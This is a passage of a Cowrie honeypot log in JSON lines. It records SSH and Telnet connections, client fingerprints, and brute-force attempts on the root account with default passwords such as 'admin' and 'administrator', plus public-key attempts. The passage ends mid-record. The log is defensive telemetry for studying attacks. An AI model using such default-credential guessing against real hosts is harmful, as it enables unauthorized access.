{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:44.601364Z","src_ip":"113.0.152.164","session":"af2a2d4fa2ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:44.835829Z","src_ip":"113.0.152.164","session":"af2a2d4fa2ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"web","message":"login attempt [root/web] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:45.539211Z","src_ip":"113.0.152.164","session":"af2a2d4fa2ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:46.780636Z","src_ip":"113.0.152.164","session":"af2a2d4fa2ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.0.152.164","src_port":50752,"dst_ip":"159.203.135.109","dst_port":22,"session":"da080868ff87","protocol":"ssh","message":"New connection: 113.0.152.164:50752 (159.203.135.109:22) [session: da080868ff87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:47.007755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:47.011998Z","src_ip":"113.0.152.164","session":"da080868ff87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:47.243709Z","src_ip":"113.0.152.164","session":"da080868ff87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:47.941082Z","src_ip":"113.0.152.164","session":"da080868ff87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:49.176718Z","src_ip":"113.0.152.164","session":"da080868ff87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.0.152.164","src_port":52780,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a74ade1eae3","protocol":"ssh","message":"New connection: 113.0.152.164:52780 (159.203.135.109:22) [session: 8a74ade1eae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:49.448253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:49.453128Z","src_ip":"113.0.152.164","session":"8a74ade1eae3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:49.707773Z","src_ip":"113.0.152.164","session":"8a74ade1eae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator","message":"login attempt [root/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:50.469217Z","src_ip":"113.0.152.164","session":"8a74ade1eae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:51.725648Z","src_ip":"113.0.152.164","session":"8a74ade1eae3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.0.152.164","src_port":54802,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed98f15dfdb0","protocol":"ssh","message":"New connection: 113.0.152.164:54802 (159.203.135.109:22) [session: ed98f15dfdb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:51.969903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:51.973883Z","src_ip":"113.0.152.164","session":"ed98f15dfdb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:52.224907Z","src_ip":"113.0.152.164","session":"ed98f15dfdb0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:52.976776Z","src_ip":"113.0.152.164","session":"ed98f15dfdb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.3.206.66","src_port":39284,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f0e61897e1c","protocol":"ssh","message":"New connection: 192.3.206.66:39284 (10.17.0.5:22) [session: 0f0e61897e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:04.009395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:04.014609Z","src_ip":"192.3.206.66","session":"0f0e61897e1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:04.041950Z","src_ip":"192.3.206.66","session":"0f0e61897e1c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:cb:fd:2b:af:9f:66:3c:75:eb:bc:43:8f:9e:92:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWh99ItV6YvJkamqMv3I4ff8B80V1Zn8GkHK+9WEPJet1GdsdOGhioYFgje4HsfyZ8xVcJYUupAdpFGso44n/xZEhB0gXnedu6M/PeuwF5y1uaTdhbDNQlliqrX1pa+GYX810pcecXgwVNZEKgEUcY7p5LiiXGOhk4gJNrMbCsj3c5Fq1WtXD7cVR/aCZzdhD8s8zWXY4Jd92tr4Y+asD+ke/H154cDGj6GAEOuF8uE0hlagPDg7lvUjvW6rnrlr4NzvkRrhIk/uUQT1jbnqw5SRku3bxsahF5QClpGhLM88hodouJVmoV4O43ZuXwUOMNM+vDh3eBViBPJsrwQrGZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:cb:fd:2b:af:9f:66:3c:75:eb:bc:43:8f:9e:92:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:04.150176Z","src_ip":"192.3.206.66","session":"0f0e61897e1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:cb:fd:2b:af:9f:66:3c:75:eb:bc:43:8f:9e:92:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWh99ItV6YvJkamqMv3I4ff8B80V1Zn8GkHK+9WEPJet1GdsdOGhioYFgje4HsfyZ8xVcJYUupAdpFGso44n/xZEhB0gXnedu6M/PeuwF5y1uaTdhbDNQlliqrX1pa+GYX810pcecXgwVNZEKgEUcY7p5LiiXGOhk4gJNrMbCsj3c5Fq1WtXD7cVR/aCZzdhD8s8zWXY4Jd92tr4Y+asD+ke/H154cDGj6GAEOuF8uE0hlagPDg7lvUjvW6rnrlr4NzvkRrhIk/uUQT1jbnqw5SRku3bxsahF5QClpGhLM88hodouJVmoV4O43ZuXwUOMNM+vDh3eBViBPJsrwQrGZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:04.154687Z","src_ip":"192.3.206.66","session":"0f0e61897e1c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:5e:b7:bf:3c:88:4d:dd:ad:42:e2:47:66:5c:52:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7T1IgtoL6H7pretYg9kS6jHAWmpav68DgIpsqks3sOhvQZrLPybpOtFeishjh3QaE2IOqljHIkmvoYb2CbTD4hDfH2Pw8Yx1gH0TKTNq7dHD7lheMaFdciWVoZouxAWrfe1fzAaWnoPj9EY5hq66WJl0eqlJkC4T9iDBWI5b0Bp9QDv1FRF00XUVcDqjTlranCq3vdOfqpi/ByPDW0vwQb83FrnLy9Ar5O9Kux/1wadZ7pxJXcFM54XkA/1bhWSBSONqj7dvrXtIDNVfPsNtipVoqOrq5lIOawFWiiUw/4MjTPLJvatJkM/G/a+aSmZHX7u50/Aa61m66vxjDlu8Hw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:5e:b7:bf:3c:88:4d:dd:ad:42:e2:47:66:5c:52:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:04.183126Z","src_ip":"192.3.206.66","session":"0f0e61897e1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:5e:b7:bf:3c:88:4d:dd:ad:42:e2:47:66:5c:52:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7T1IgtoL6H7pretYg9kS6jHAWmpav68DgIpsqks3sOhvQZrLPybpOtFeishjh3QaE2IOqljHIkmvoYb2CbTD4hDfH2Pw8Yx1gH0TKTNq7dHD7lheMaFdciWVoZouxAWrfe1fzAaWnoPj9EY5hq66WJl0eqlJkC4T9iDBWI5b0Bp9QDv1FRF00XUVcDqjTlranCq3vdOfqpi/ByPDW0vwQb83FrnLy9Ar5O9Kux/1wadZ7pxJXcFM54XkA/1bhWSBSONqj7dvrXtIDNVfPsNtipVoqOrq5lIOawFWiiUw/4MjTPLJvatJkM/G/a+aSmZHX7u50/Aa61m66vxjDlu8Hw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:04.187088Z","src_ip":"192.3.206.66","session":"0f0e61897e1c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:9c:15:8a:24:25:63:a3:68:3e:e9:96:23:b0:df:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAppcHEq/FFx2ovEjQkC/7wVJaNd+0zpCzXXAwYOWf25Xw/eZp0Q1JrAkYER8szm/neA+oltL25i0vj9lQ7VmLd1HltkVDpT2Fr17v4YCr0ltuWLWetCbbF4rIBnUyU1sGRjmiTCVr/jkvV/A8ePblgNjkH6mJi7MSkfG0WmEwm2CMf8SP27Qhvx0WVhREwv32q3/YEiI13Uk1UDMSZnVd7QWDU9Y0E486blzgeivdgDcaiLGJ3f5vhKlcDnlz+lPi+Mi8xYGjgGI5dthN04q17K6RKVntm7BosSl+6WVshPAZ8HScpyxL9Iku0Jtroh3vRZ94Hp062yUpa0QDsy889Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:9c:15:8a:24:25:63:a3:68:3e:e9:96:23:b0:df:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:04.220874Z","src_ip":"192.3.206.66","session":"0f0e61897e1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:9c:15:8a:24:25:63:a3:68:3e:e9:96:23:b0:df:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAppcHEq/FFx2ovEjQkC/7wVJaNd+0zpCzXXAwYOWf25Xw/eZp0Q1JrAkYER8szm/neA+oltL25i0vj9lQ7VmLd1HltkVDpT2Fr17v4YCr0ltuWLWetCbbF4rIBnUyU1sGRjmiTCVr/jkvV/A8ePblgNjkH6mJi7MSkfG0WmEwm2CMf8SP27Qhvx0WVhREwv32q3/YEiI13Uk1UDMSZnVd7QWDU9Y0E486blzgeivdgDcaiLGJ3f5vhKlcDnlz+lPi+Mi8xYGjgGI5dthN04q17K6RKVntm7BosSl+6WVshPAZ8HScpyxL9Iku0Jtroh3vRZ94Hp062yUpa0QDsy889Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:04.226960Z","src_ip":"192.3.206.66","session":"0f0e61897e1c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:7a:4a:8b:82:f8:05:cc:52:a5:11:4b:cc:ba:15:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGi1/IROyflobrp8+K/L8AHR/xijvB7VYunmhjg6toTjQ438Mzlbzt24ZezBQMNDcV5lERlM4NoWcCTXEO5xkEtte1w/KE+fQyyGT9Gk27dNZ5oyfZseMp8/WwoCQhPvPt408EHhvfGzODxCZByR0Pw5bDJOg1wlp6Zfal5czHPRLrCccaCNXL/fJtRn/p5/trnBKmFtTXBc/Ne/0DceqeBQmFor3shn7888RigoLVAJs/fiQbr5fpgFCQKaKHgSo/tKQk+W1LBa3qFw8IMjmoau6aQvBCq224kV8pkuemANTN8xpG4fvzo4epd4t71cYFcpbZTAq08HdD8I3U72IN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:7a:4a:8b:82:f8:05:cc:52:a5:11:4b:cc:ba:15:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:04.256278Z","src_ip":"192.3.206.66","session":"0f0e61897e1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:7a:4a:8b:82:f8:05:cc:52:a5:11:4b:cc:ba:15:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGi1/IROyflobrp8+K/L8AHR/xijvB7VYunmhjg6toTjQ438Mzlbzt24ZezBQMNDcV5lERlM4NoWcCTXEO5xkEtte1w/KE+fQyyGT9Gk27dNZ5oyfZseMp8/WwoCQhPvPt408EHhvfGzODxCZByR0Pw5bDJOg1wlp6Zfal5czHPRLrCccaCNXL/fJtRn/p5/trnBKmFtTXBc/Ne/0DceqeBQmFor3shn7888RigoLVAJs/fiQbr5fpgFCQKaKHgSo/tKQk+W1LBa3qFw8IMjmoau6aQvBCq224kV8pkuemANTN8xpG4fvzo4epd4t71cYFcpbZTAq08HdD8I3U72IN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:04.262170Z","src_ip":"192.3.206.66","session":"0f0e61897e1c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:f9:62:24:da:07:8a:b8:ea:a5:56:46:65:d1:86:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmd4Kp7mTsqustZklD+ZtXPJlWKl9T1WjG0jkzIZKlAEIaraUrLHe1vQr80CLMIUPZJO2EHVTcftufKt9rpVHSHbsU2hxzyDKjpAo2lVuyay/rmaoLr/QyB0oqHCfsxSHryTFp3eDJglZgsB+0GrDGkUHSAg5T6WQ2YAEiwfKTCVUpFk+GJPnZfwmBjVzIuhTlR8Nw5OL+bcfQMMiKQ/9Anvhb5ORLR6sy0JxWbpWX/u8iCqteEDhthk2fvGEoWfWpNjQCBeUgluMpQCj265e9gMX65jCFKvqfTecWkvUeRVZuRnFf5mZvZ25+X/R3+5twoZsJFVFY2KTR0osMfi2F","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:f9:62:24:da:07:8a:b8:ea:a5:56:46:65:d1:86:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:04.290476Z","src_ip":"192.3.206.66","session":"0f0e61897e1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:f9:62:24:da:07:8a:b8:ea:a5:56:46:65:d1:86:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmd4Kp7mTsqustZklD+ZtXPJlWKl9T1WjG0jkzIZKlAEIaraUrLHe1vQr80CLMIUPZJO2EHVTcftufKt9rpVHSHbsU2hxzyDKjpAo2lVuyay/rmaoLr/QyB0oqHCfsxSHryTFp3eDJglZgsB+0GrDGkUHSAg5T6WQ2YAEiwfKTCVUpFk+GJPnZfwmBjVzIuhTlR8Nw5OL+bcfQMMiKQ/9Anvhb5ORLR6sy0JxWbpWX/u8iCqteEDhthk2fvGEoWfWpNjQCBeUgluMpQCj265e9gMX65jCFKvqfTecWkvUeRVZuRnFf5mZvZ25+X/R3+5twoZsJFVFY2KTR0osMfi2F","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:04.295742Z","src_ip":"192.3.206.66","session":"0f0e61897e1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:04.325497Z","src_ip":"192.3.206.66","session":"0f0e61897e1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":36286,"dst_ip":"10.17.0.5","dst_port":23,"session":"fce295429d16","protocol":"telnet","message":"New connection: 180.235.129.180:36286 (10.17.0.5:23) [session: fce295429d16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:23.062734Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.190.252.123","src_port":60179,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0f46b69e2ba","protocol":"ssh","message":"New connection: 113.190.252.123:60179 (159.203.135.109:22) [session: b0f46b69e2ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:28.057869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:36:28.119210Z","src_ip":"113.190.252.123","session":"b0f46b69e2ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-